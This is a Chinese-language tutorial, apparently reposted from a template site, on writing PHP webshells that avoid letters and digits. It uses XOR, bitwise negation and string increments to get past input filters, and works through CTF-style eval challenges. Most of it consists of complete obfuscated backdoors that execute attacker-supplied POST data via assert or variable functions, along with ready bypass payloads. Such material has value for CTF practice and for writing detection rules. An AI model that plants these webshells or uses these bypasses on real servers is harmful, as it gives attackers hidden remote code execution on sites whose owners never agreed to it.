異或操作原理
1.首先我們得了解一下異或操作的原理
在php中,異或操作是兩個(gè)二進(jìn)制數(shù)相同時(shí),異或(相同)為0,不同為1
舉個(gè)例子
A的ASCII值是65,對(duì)應(yīng)的二進(jìn)制值是0100 0001
`的ASCII值是96,對(duì)應(yīng)的二進(jìn)制值是?0110 0000
上下一一對(duì)應(yīng)(相同)為0,不同為1,異或的二進(jìn)制的值是00100001,對(duì)應(yīng)的ASCII值是33,對(duì)應(yīng)的字符串的值就是 ! 了
<?php
echo "A"^"`";
?>
?
?
2.我們要利用的不只是異或操作,還有PHP的特性——弱類型語(yǔ)言
在PHP中我們可以不預(yù)先聲明變量的類型,而直接聲明一個(gè)變量并進(jìn)行初始化或賦值操作。正是由于PHP弱類型的這個(gè)特點(diǎn),我們對(duì)PHP的變類型進(jìn)行隱式的轉(zhuǎn)換,并利用這個(gè)特點(diǎn)進(jìn)行一些非常規(guī)的操作。如將整型轉(zhuǎn)換成字符串型,將布爾型當(dāng)作整型,或者將字符串當(dāng)作函數(shù)來(lái)處理
例如以下案例
簡(jiǎn)單分析
1.$_? 沒(méi)賦值為null 等價(jià)于false等價(jià)于0,0++也就是1
就此我們完成了不使用任何數(shù)字的情況下,通過(guò)對(duì)未定義變量的自增操作來(lái)得到一個(gè)數(shù)字。
2.$__ = "?" ^ "}",安裝ASCii表的運(yùn)算結(jié)果為B
3.直接B()來(lái)執(zhí)行B函數(shù)
?eval解析
PHP 支持可變函數(shù)的概念。這意味著如果一個(gè)變量名后有圓括號(hào),PHP 將尋找與變量的值同名的函數(shù),并且嘗試執(zhí)行它??勺兒瘮?shù)可以用來(lái)實(shí)現(xiàn)包括回調(diào)函數(shù),函數(shù)表在內(nèi)的一些用途。
可變函數(shù)不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及類似的語(yǔ)言結(jié)構(gòu)。需要使用自己的包裝函數(shù)來(lái)將這些結(jié)構(gòu)用作可變函數(shù)。
這么看來(lái)eval其實(shí)并不能算是‘函數(shù)’,而是PHP自身的語(yǔ)言結(jié)構(gòu),如果需要用‘可變’的方式調(diào)用,需要自己構(gòu)造,類似這樣子的
<?php
function eval_1($str)
{
eval($str);
}
$a='eval_1';
$a('phpinfo()');
?>
繞過(guò)方法一:非數(shù)字字母的PHP后門(mén)
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
通過(guò)異或的方法將非數(shù)字和字母的字符轉(zhuǎn)化為需要的字符并通過(guò).=追加拼接,最后形成
$_POST[0]($_POST[1])
我們可以下載一下firefox的hackbar擴(kuò)展
并輸入內(nèi)容來(lái)請(qǐng)求
?輸入?yún)?shù)為0=eval&1=phpinfo();通過(guò)$_POST[0]($_POST[1])之后
就成為為eval(phpinfo();)
嘗試執(zhí)行,執(zhí)行失敗
這里就可以引入另外一個(gè)知識(shí)點(diǎn)了,請(qǐng)翻閱上面的eval解析
?
一個(gè)異或繞過(guò)的例子
題目
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
該例子過(guò)濾掉了數(shù)字字母
并且include了一個(gè)flag.php文件
?解決方案1——異或
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
"^"?<>/"異或完之后是_GET,定義了一個(gè)變量_GET
${$_}[_]();最終得到值$_GET[_]();
&_=getFlag 將getFlag賦值給_
最終整個(gè)表達(dá)式變成
$_GET[_]()——>getFlag()
?
解決方法2——取反
?code=_=~%98%9A%8B%B9%93%9E%98;_();
繞過(guò)方法二:取反
對(duì)于題目
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
異或方法繞過(guò)
<?php
$_=(']'^'<').('^'^'-').('^'^'-').('^'^';').('_'^'-').('*'^'~'); // $_='assert';
$__='_'.('|'^',').('`'^'/').('('^'{').('('^'|'); // $__='_POST';
$___=$$__;
$_($___[_]); assert($_POST[_]);
換成取反繞過(guò)
<?php
$__=('>'>'<')+('>'>'<'); //2
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
繞過(guò)方法三:利用PHP語(yǔ)法繞過(guò)
原理
在處理字符變量的算數(shù)運(yùn)算時(shí),PHP 沿襲了 Perl 的習(xí)慣,而非 C 的。例如,在 Perl 中 a = 'Z'; a++; 將把 $a 變成'AA',而在 C 中,a = 'Z'; a++; 將把 a 變成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符變量只能遞增,不能遞減,并且只支持純字母(a-z 和 A-Z)。遞增/遞減其他字符變量則無(wú)效,原字符串沒(méi)有變化。
也就是說(shuō),'a'++ => 'b','b'++ => 'c'... 所以,我們只要能拿到一個(gè)變量,其值為a,通過(guò)自增操作即可獲得a-z中所有字符
那么,如何拿到一個(gè)值為字符串'a'的變量呢?
巧了,數(shù)組(Array)的第一個(gè)字母就是大寫(xiě)A,而且第4個(gè)字母是小寫(xiě)a。也就是說(shuō),我們可以同時(shí)拿到小寫(xiě)和大寫(xiě)A,等于我們就可以拿到a-z和A-Z的所有字母。
在PHP中,如果強(qiáng)制連接數(shù)組和字符串的話,數(shù)組將被轉(zhuǎn)換成字符串,其值為Array:
?再取這個(gè)字符串的第一個(gè)字母,就可以獲得'A'了。文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-662452.html
通過(guò)這種方式來(lái)獲得ASSERT($_POST[_]);文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-662452.html
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
到了這里,關(guān)于不含數(shù)字的webshell繞過(guò)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!